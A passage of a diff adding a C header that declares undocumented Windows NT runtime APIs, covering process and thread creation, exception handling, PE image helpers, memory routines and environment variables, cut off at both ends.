CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; + + UNICODE_STRING RedirectionDllName; // REDSTONE4 + UNICODE_STRING HeapPartitionName; // 19H1 + ULONG_PTR DefaultThreadpoolCpuSetMasks; + ULONG DefaultThreadpoolCpuSetMaskCount; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags // pass RTL_USER_PROC_PARAMS_NORMALIZED to keep parameters normalized +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + _In_ _Post_invalid_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +typedef struct _RTL_USER_PROCESS_INFORMATION +{ + ULONG Length; + HANDLE ProcessHandle; + HANDLE ThreadHandle; + CLIENT_ID ClientId; + struct _SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcess( + _In_ PUNICODE_STRING NtImagePathName, + _In_ ULONG AttributesDeprecated, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE ParentProcess, + _In_ BOOLEAN InheritHandles, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE TokenHandle, // used to be ExceptionPort + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcessEx( + _In_ PUNICODE_STRING NtImagePathName, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_ BOOLEAN InheritHandles, + _Reserved_ ULONG Flags, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +RtlExitUserProcess( + _In_ NTSTATUS ExitStatus +); +#else +#define RtlExitUserProcess RtlExitUserProcess_R + +DECLSPEC_NORETURN +FORCEINLINE VOID RtlExitUserProcess_R( + _In_ NTSTATUS ExitStatus +) +{ + ExitProcess(ExitStatus); +} +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// begin_rev +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects +// end_rev + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCloneUserProcess( + _In_ ULONG ProcessFlags, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE DebugPort, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +// private +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +// private +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedSRWLock( + _Inout_ PRTL_SRWLOCK SRWLock, + _In_ LOGICAL Shared // TRUE to set to shared acquire +); +#endif + +// private +typedef struct _RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION +{ + HANDLE ReflectionProcessHandle; + HANDLE ReflectionThreadHandle; + CLIENT_ID ReflectionClientId; +} RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION, * PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessReflection( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, // RTL_CLONE_PROCESS_FLAGS + _In_opt_ PVOID StartRoutine, + _In_opt_ PVOID StartContext, + _In_opt_ HANDLE EventHandle, + _Out_opt_ PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation +); +#endif + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag +); + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlValidProcessProtection( + _In_ struct _PS_PROTECTION ProcessProtection +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlTestProtectedAccess( + _In_ struct _PS_PROTECTION Source, + _In_ struct _PS_PROTECTION Target +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentProcess( // NtCompareObjects(NtCurrentProcess(), ProcessHandle) + _In_ HANDLE ProcessHandle +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentThread( // NtCompareObjects(NtCurrentThread(), ThreadHandle) + _In_ HANDLE ThreadHandle +); +#endif + +// KernelBase.dll +NTSYSAPI +BOOL +WINAPI +CreateProcessInternalA( + _In_opt_ HANDLE hUserToken, + _In_opt_ LPWSTR lpApplicationName, + _Inout_opt_ LPSTR lpCommandLine, + _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ BOOL bInheritHandles, + _In_ DWORD dwCreationFlags, + _In_opt_ LPVOID lpEnvironment, + _In_opt_ LPCSTR lpCurrentDirectory, + _In_ LPSTARTUPINFOA lpStartupInfo, + _Out_ LPPROCESS_INFORMATION lpProcessInformation, + _Out_opt_ PHANDLE hNewToken +); + +NTSYSAPI +BOOL +WINAPI +CreateProcessInternalW( + _In_opt_ HANDLE hUserToken, + _In_opt_ LPCWSTR lpApplicationName, + _Inout_opt_ LPWSTR lpCommandLine, + _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ BOOL bInheritHandles, + _In_ DWORD dwCreationFlags, + _In_opt_ LPVOID lpEnvironment, + _In_opt_ LPCWSTR lpCurrentDirectory, + _In_ LPSTARTUPINFOW lpStartupInfo, + _Out_ LPPROCESS_INFORMATION lpProcessInformation, + _Out_opt_ PHANDLE hNewToken +); + +#endif // !_KERNEL_MODE + +// +// Threads +// + +#ifndef _KERNEL_MODE + +typedef NTSTATUS(NTAPI* PUSER_THREAD_START_ROUTINE)( + _In_ PVOID ThreadParameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_opt_ ULONG ZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T CommittedStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) // should be NTDDI_WINXP, but is NTDDI_VISTA for consistency with RtlExitUserProcess +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +RtlExitUserThread( + _In_ NTSTATUS ExitStatus +); +#else +#define RtlExitUserThread RtlExitUserThread_R + +DECLSPEC_NORETURN +FORCEINLINE VOID RtlExitUserThread_R( + _In_ NTSTATUS ExitStatus +) +{ + ExitThread(ExitStatus); +} +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentThreadAttachExempt( + VOID +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserStack( + _In_opt_ SIZE_T CommittedStackSize, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ ULONG_PTR ZeroBits, + _In_ SIZE_T PageSize, + _In_ ULONG_PTR ReserveAlignment, + _Out_ struct _INITIAL_TEB* InitialTeb +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeUserStack( + _In_ PVOID AllocationBase +); +#endif + +#endif // !_KERNEL_MODE + +// +// Extended thread context +// + +#ifndef _KERNEL_MODE + +typedef struct _CONTEXT_CHUNK +{ + LONG Offset; // Offset may be negative. + ULONG Length; +} CONTEXT_CHUNK, * PCONTEXT_CHUNK; + +typedef struct _CONTEXT_EX +{ + CONTEXT_CHUNK All; + CONTEXT_CHUNK Legacy; + CONTEXT_CHUNK XState; +} CONTEXT_EX, * PCONTEXT_EX; + +#define CONTEXT_EX_LENGTH ALIGN_UP_BY(sizeof(CONTEXT_EX), PAGE_SIZE) +#define RTL_CONTEXT_EX_OFFSET(ContextEx, Chunk) ((ContextEx)->Chunk.Offset) +#define RTL_CONTEXT_EX_LENGTH(ContextEx, Chunk) ((ContextEx)->Chunk.Length) +#define RTL_CONTEXT_EX_CHUNK(Base, Layout, Chunk) ((PVOID)((PCHAR)(Base) + RTL_CONTEXT_EX_OFFSET(Layout, Chunk))) +#define RTL_CONTEXT_OFFSET(Context, Chunk) RTL_CONTEXT_EX_OFFSET((PCONTEXT_EX)(Context + 1), Chunk) +#define RTL_CONTEXT_LENGTH(Context, Chunk) RTL_CONTEXT_EX_LENGTH((PCONTEXT_EX)(Context + 1), Chunk) +#define RTL_CONTEXT_CHUNK(Context, Chunk) RTL_CONTEXT_EX_CHUNK((PCONTEXT_EX)(Context + 1), (PCONTEXT_EX)(Context + 1), Chunk) + +NTSYSAPI +VOID +NTAPI +RtlInitializeContext( + _In_ HANDLE Process, + _Out_ PCONTEXT Context, + _In_opt_ PVOID Parameter, + _In_opt_ PVOID InitialPc, + _In_opt_ PVOID InitialSp +); + +NTSYSAPI +ULONG +NTAPI +RtlInitializeExtendedContext( + _Out_ PCONTEXT Context, + _In_ ULONG ContextFlags, + _Out_ PCONTEXT_EX* ContextEx +); + +NTSYSAPI +ULONG +NTAPI +RtlCopyExtendedContext( + _Out_ PCONTEXT_EX Destination, + _In_ ULONG ContextFlags, + _In_ PCONTEXT_EX Source +); + +NTSYSAPI +ULONG +NTAPI +RtlGetExtendedContextLength( + _In_ ULONG ContextFlags, + _Out_ PULONG ContextLength +); + +NTSYSAPI +ULONG64 +NTAPI +RtlGetExtendedFeaturesMask( + _In_ PCONTEXT_EX ContextEx +); + +NTSYSAPI +PVOID +NTAPI +RtlLocateExtendedFeature( + _In_ PCONTEXT_EX ContextEx, + _In_ ULONG FeatureId, + _Out_opt_ PULONG Length +); + +NTSYSAPI +PCONTEXT +NTAPI +RtlLocateLegacyContext( + _In_ PCONTEXT_EX ContextEx, + _Out_opt_ PULONG Length +); + +NTSYSAPI +VOID +NTAPI +RtlSetExtendedFeaturesMask( + _In_ PCONTEXT_EX ContextEx, + _In_ ULONG64 FeatureMask +); + +#ifdef _WIN64 +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64GetThreadContext( + _In_ HANDLE ThreadHandle, + _Inout_ PWOW64_CONTEXT ThreadContext +); +#endif + +#ifdef _WIN64 +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64SetThreadContext( + _In_ HANDLE ThreadHandle, + _In_ PWOW64_CONTEXT ThreadContext +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlRemoteCall( + _In_ HANDLE Process, + _In_ HANDLE Thread, + _In_ PVOID CallSite, + _In_ ULONG ArgumentCount, + _In_opt_ PULONG_PTR Arguments, + _In_ BOOLEAN PassContext, + _In_ BOOLEAN AlreadySuspended +); + +#endif // !_KERNEL_MODE + +// +// Vectored exception handlers +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler +); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle +); + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredContinueHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler +); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredContinueHandler( + _In_ PVOID Handle +); + +#endif // !_KERNEL_MODE + +// +// Runtime exception handling +// + +#ifndef _KERNEL_MODE + +typedef ULONG(NTAPI* PRTLP_UNHANDLED_EXCEPTION_FILTER)( + _In_ PEXCEPTION_POINTERS ExceptionInfo + ); + +NTSYSAPI +VOID +NTAPI +RtlSetUnhandledExceptionFilter( + _In_ PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter +); + +// rev +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers +); + +// rev +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter2( + _In_ PEXCEPTION_POINTERS ExceptionPointers, + _In_ ULONG Flags +); + +// rev +NTSYSAPI +LONG +NTAPI +RtlKnownExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDispatchException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord +); + +NTSYSAPI +DECLSPEC_NORETURN +VOID +NTAPI +RtlRaiseStatus( + _In_ NTSTATUS Status +); + +NTSYSAPI +__analysis_noreturn +VOID +NTAPI +RtlAssert( + _In_ PVOID VoidFailedAssertion, + _In_ PVOID VoidFileName, + _In_ ULONG LineNumber, + _In_opt_ PSTR MutableMessage +); + +#if DBG + +#define ASSERT( exp ) \ + ((!(exp)) ? \ + (RtlAssert( (PVOID)#exp, (PVOID)__FILE__, __LINE__, NULL ),FALSE) : \ + TRUE) + +#define ASSERTMSG( msg, exp ) \ + ((!(exp)) ? \ + (RtlAssert( (PVOID)#exp, (PVOID)__FILE__, __LINE__, msg ),FALSE) : \ + TRUE) + +#define RTL_SOFT_ASSERT(_exp) \ + ((!(_exp)) ? \ + (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n", __FILE__, __LINE__, #_exp),FALSE) : \ + TRUE) + +#define RTL_SOFT_ASSERTMSG(_msg, _exp) \ + ((!(_exp)) ? \ + (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n Message: %s\n", __FILE__, __LINE__, #_exp, (_msg)),FALSE) : \ + TRUE) + +#define RTL_VERIFY ASSERT +#define RTL_VERIFYMSG ASSERTMSG + +#define RTL_SOFT_VERIFY RTL_SOFT_ASSERT +#define RTL_SOFT_VERIFYMSG RTL_SOFT_ASSERTMSG + +#else +#define ASSERT( exp ) ((void) 0) +#define ASSERTMSG( msg, exp ) ((void) 0) + +#define RTL_SOFT_ASSERT(_exp) ((void) 0) +#define RTL_SOFT_ASSERTMSG(_msg, _exp) ((void) 0) + +#define RTL_VERIFY( exp ) ((exp) ? TRUE : FALSE) +#define RTL_VERIFYMSG( msg, exp ) ((exp) ? TRUE : FALSE) + +#define RTL_SOFT_VERIFY(_exp) ((_exp) ? TRUE : FALSE) +#define RTL_SOFT_VERIFYMSG(msg, _exp) ((_exp) ? TRUE : FALSE) + +#endif // DBG + +#ifdef _WIN64 +// private +typedef enum _FUNCTION_TABLE_TYPE +{ + RF_SORTED, + RF_UNSORTED, + RF_CALLBACK, + RF_KERNEL_DYNAMIC +} FUNCTION_TABLE_TYPE; + +// private +typedef struct _DYNAMIC_FUNCTION_TABLE +{ + LIST_ENTRY ListEntry; + PRUNTIME_FUNCTION FunctionTable; + LARGE_INTEGER TimeStamp; + ULONG64 MinimumAddress; + ULONG64 MaximumAddress; + ULONG64 BaseAddress; + PGET_RUNTIME_FUNCTION_CALLBACK Callback; + PVOID Context; + PWSTR OutOfProcessCallbackDll; + FUNCTION_TABLE_TYPE Type; + ULONG EntryCount; + RTL_BALANCED_NODE TreeNode; +} DYNAMIC_FUNCTION_TABLE, * PDYNAMIC_FUNCTION_TABLE; + +// rev +NTSYSAPI +PLIST_ENTRY +NTAPI +RtlGetFunctionTableListHead( + VOID +); +#endif + +#endif // !_KERNEL_MODE + +// +// Images +// + +NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + _In_ PVOID BaseOfImage +); + +#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + _In_ ULONG Flags, + _In_ PVOID BaseOfImage, + _In_ ULONG64 Size, + _Out_ PIMAGE_NT_HEADERS* OutHeaders +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress +); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress +); + +#endif // !_KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData( + _In_ PVOID BaseOfImage, + _In_ BOOLEAN MappedAsImage, + _In_ USHORT DirectoryEntry, + _Out_ PULONG Size +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG Rva +); + +NTSYSAPI +PVOID +NTAPI +RtlImageRvaToVa( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG Rva, + _Out_opt_ PIMAGE_SECTION_HEADER* LastRvaSection +); + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +PVOID +NTAPI +RtlFindExportedRoutineByName( + _In_ PVOID BaseOfImage, + _In_ PCSTR RoutineName +); +#endif + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGuardCheckLongJumpTarget( + _In_ PVOID PcValue, + _In_ BOOL IsFastFail, + _Out_ PBOOL IsLongJumpTarget +); +#endif + +#endif // !_KERNEL_MODE + +#ifdef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlPcToFileName( + _In_ PVOID PcValue, + _Out_ PUNICODE_STRING FileName +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlPcToFilePath( + _In_ PVOID PcValue, + _Out_ PUNICODE_STRING FilePath +); + +NTSYSAPI +PVOID +NTAPI +RtlPcToFileHeader( + _In_ PVOID PcValue, + _Out_ PVOID* BaseOfImage +); + +NTSYSAPI +VOID +NTAPI +RtlRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord +); + +NTSYSAPI +VOID +NTAPI +RtlUnwind( + _In_opt_ PVOID TargetFrame, + _In_opt_ PVOID TargetIp, + _In_opt_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PVOID ReturnValue +); + +#if defined(_M_AMD64) || defined(_M_ARM64) || defined(_M_ARM) + +// +// Define unwind history table structure. +// + +#define UNWIND_HISTORY_TABLE_SIZE 12 + +typedef struct _UNWIND_HISTORY_TABLE_ENTRY +{ + ULONG_PTR ImageBase; + PIMAGE_RUNTIME_FUNCTION_ENTRY FunctionEntry; + +} UNWIND_HISTORY_TABLE_ENTRY, * PUNWIND_HISTORY_TABLE_ENTRY; + +typedef struct _UNWIND_HISTORY_TABLE +{ + UINT32 Count; + UINT8 LocalHint; + UINT8 GlobalHint; + UINT8 Search; + UINT8 Once; + ULONG_PTR LowAddress; + ULONG_PTR HighAddress; + UNWIND_HISTORY_TABLE_ENTRY Entry[UNWIND_HISTORY_TABLE_SIZE]; + +} UNWIND_HISTORY_TABLE, * PUNWIND_HISTORY_TABLE; + +NTSYSAPI +PIMAGE_RUNTIME_FUNCTION_ENTRY +NTAPI +RtlLookupFunctionEntry( + _In_ DWORD64 ControlPc, + _Out_ PDWORD64 ImageBase, + _Inout_opt_ PUNWIND_HISTORY_TABLE HistoryTable +); + +NTSYSAPI +VOID +__cdecl +RtlRestoreContext( + _In_ PCONTEXT ContextRecord, + _In_opt_ struct _EXCEPTION_RECORD* ExceptionRecord +); + +NTSYSAPI +VOID +NTAPI +RtlUnwindEx( + _In_opt_ PVOID TargetFrame, + _In_opt_ PVOID TargetIp, + _In_opt_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PVOID ReturnValue, + _In_ PCONTEXT ContextRecord, + _In_opt_ PUNWIND_HISTORY_TABLE HistoryTable +); + +NTSYSAPI +PEXCEPTION_ROUTINE +NTAPI +RtlVirtualUnwind( + _In_ UINT32 HandlerType, + _In_ SIZE_T ImageBase, + _In_ SIZE_T ControlPc, + _In_ PIMAGE_RUNTIME_FUNCTION_ENTRY FunctionEntry, + _Inout_ PCONTEXT ContextRecord, + _Out_ PVOID* HandlerData, + _Out_ PSIZE_T EstablisherFrame, + _Inout_opt_ /*PKNONVOLATILE_CONTEXT_POINTERS*/ PVOID ContextPointers +); + +#endif // _M_AMD64 | _M_ARM64 | _M_ARM + +#endif // _KERNEL_MODE + +typedef struct _RTL_MODULE_BASIC_INFO { + PVOID ImageBase; +} RTL_MODULE_BASIC_INFO, * PRTL_MODULE_BASIC_INFO; + +typedef struct _RTL_MODULE_EXTENDED_INFO { + RTL_MODULE_BASIC_INFO BasicInfo; + ULONG ImageSize; + USHORT FileNameOffset; + UCHAR FullPathName[256]; +} RTL_MODULE_EXTENDED_INFO, * PRTL_MODULE_EXTENDED_INFO; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryModuleInformation( // ZwQuerySystemInformation(SystemModuleInformation) + _Out_ PULONG ReturnLength, + _In_ ULONG BufferSize, // sizeof RTL_MODULE_EXTENDED_INFO or RTL_MODULE_BASIC_INFO + _In_ PVOID Buffer // PRTL_MODULE_EXTENDED_INFO or PRTL_MODULE_BASIC_INFO +); + +// +// Memory +// + +_Must_inspect_result_ +NTSYSAPI +SIZE_T +NTAPI +RtlCompareMemoryUlong( + _In_reads_bytes_(Length) PVOID Source, + _In_ SIZE_T Length, + _In_ ULONG Pattern +); + +#ifndef _KERNEL_MODE + +#if defined(_M_AMD64) +FORCEINLINE +VOID +RtlFillMemoryUlong( + _Out_writes_bytes_all_(Length) PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONG Pattern +) +{ + PULONG Address = (PULONG)Destination; + + // + // If the number of DWORDs is not zero, then fill the specified buffer + // with the specified pattern. + // + + if ((Length /= 4) != 0) { + + // + // If the destination is not quadword aligned (ignoring low bits), + // then align the destination by storing one DWORD. + // + + if (((ULONG64)Address & 4) != 0) { + *Address = Pattern; + if ((Length -= 1) == 0) { + return; + } + + Address += 1; + } + + // + // If the number of QWORDs is not zero, then fill the destination + // buffer a QWORD at a time. + // + + __stosq((PULONG64)(Address), + Pattern | ((ULONG64)Pattern << 32), + Length / 2); + + if ((Length & 1) != 0) { + Address[Length - 1] = Pattern; + } + } + + return; +} +#else +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlong( + _Out_writes_bytes_all_(Length) PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONG Pattern +); +#endif + +#if defined(_M_AMD64) +#define RtlFillMemoryUlonglong(Destination, Length, Pattern) \ + __stosq((PULONG64)(Destination), Pattern, (Length) / 8) +#else +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlonglong( + _Out_writes_bytes_all_(Length) PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONGLONG Pattern +); +#endif + +#endif // !_KERNEL_MODE + +// +// Environment +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID* Environment +); + +// begin_rev +#define RTL_CREATE_ENVIRONMENT_TRANSLATE 0x1 // translate from multi-byte to Unicode +#define RTL_CREATE_ENVIRONMENT_TRANSLATE_FROM_OEM 0x2 // translate from OEM to Unicode (Translate flag must also be set) +#define RTL_CREATE_ENVIRONMENT_EMPTY 0x4 // create empty environment block +// end_rev + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironmentEx( + _In_ PVOID SourceEnv, + _Out_ PVOID* Environment, + _In_ ULONG Flags +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + _In_ PVOID Environment +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + _In_ PVOID Environment, + _Out_opt_ PVOID* PreviousEnvironment +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVar( + _Inout_opt_ PVOID* Environment, + _In_reads_(NameLength) PCWSTR Name, + _In_ SIZE_T NameLength, + _In_reads_(ValueLength) PCWSTR Value, + _In_ SIZE_T ValueLength +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + _Inout_opt_ PVOID* Environment, + _In_ PUNICODE_STRING Name, + _In_opt_ PUNICODE_STRING Value +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable( + _In_opt_ PVOID Environment, + _In_reads_(NameLength) PCWSTR Name, + _In_ SIZE_T NameLength, + _Out_writes_(ValueLength) PWSTR Value, + _In_ SIZE_T ValueLength, + _Out_ PSIZE_T ReturnLength +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Name, + _Inout_ PUNICODE_STRING Value +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PCWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Source, + _Inout_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentStrings( + _In_ PCWCHAR NewEnvironment, + _In_ 